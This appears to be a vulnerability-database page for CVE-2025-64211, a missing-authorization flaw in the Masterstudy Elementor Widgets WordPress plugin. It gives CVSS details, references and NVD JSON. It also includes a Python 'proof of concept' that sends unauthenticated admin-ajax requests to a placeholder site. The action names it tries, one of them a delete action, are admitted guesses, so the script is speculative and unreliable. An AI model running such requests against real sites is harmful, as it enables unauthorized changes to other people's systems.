CVE-2025-64211

Description

Missing Authorization vulnerability in StylemixThemes Masterstudy Elementor Widgets masterstudy-elementor-widgets allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Masterstudy Elementor Widgets: from n/a through <= 1.2.4.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Masterstudy Elementor Widgets <= 1.2.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-64211 PoC - Missing Authorization in Masterstudy Elementor Widgets
# Target: WordPress site with Masterstudy Elementor Widgets plugin <= 1.2.4

target_url = "http://target-wordpress-site.com"

# Identify the vulnerable endpoint - typically AJAX action
# The exact action name depends on the specific vulnerable function
vulnerable_actions = [
    "masterstudy_elementor_widgets_save_settings",
    "masterstudy_elementor_widgets_update_course",
    "masterstudy_elementor_widgets_delete_content"
]

headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
}

for action in vulnerable_actions:
    data = {
        "action": action,
        "nonce": "",  # May not be required due to missing authorization
        "security": ""
    }
    
    # Attempt unauthenticated request
    response = requests.post(
        f"{target_url}/wp-admin/admin-ajax.php",
        data=data,
        headers=headers,
        timeout=10
    )
    
    if response.status_code == 200 and "error" not in response.text.lower():
        print(f"[+] Potential vulnerability confirmed with action: {action}")
        print(f"Response: {response.text}")
    else:
        print(f"[-] Action {action} not vulnerable")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64211
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64211
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64211/
[4] VulDB https://vuldb.com/cve/CVE-2025-64211
[5] https://patchstack.com/database/Wordpress/Plugin/masterstudy-elementor-widgets/vulnerability/wordpress-masterstudy-elementor-widgets-plugin-1-2-4-broken-access-control-vulnerability-2?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64211", "sourceIdentifier": "[email protected]", "published": "2025-10-29T09:15:42.010", "lastModified": "2026-04-27T16:16:35.000", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in StylemixThemes Masterstudy Elementor Widgets masterstudy-elementor-widgets allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Masterstudy Elementor Widgets: from n/a through <= 1.2.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/masterstudy-elementor-widgets/vulnerability/wordpress-masterstudy-elementor-widgets-plugin-1-2-4-broken-access-control-vulnerability-2?_s_id=cve", "source": "[email protected]"}]}}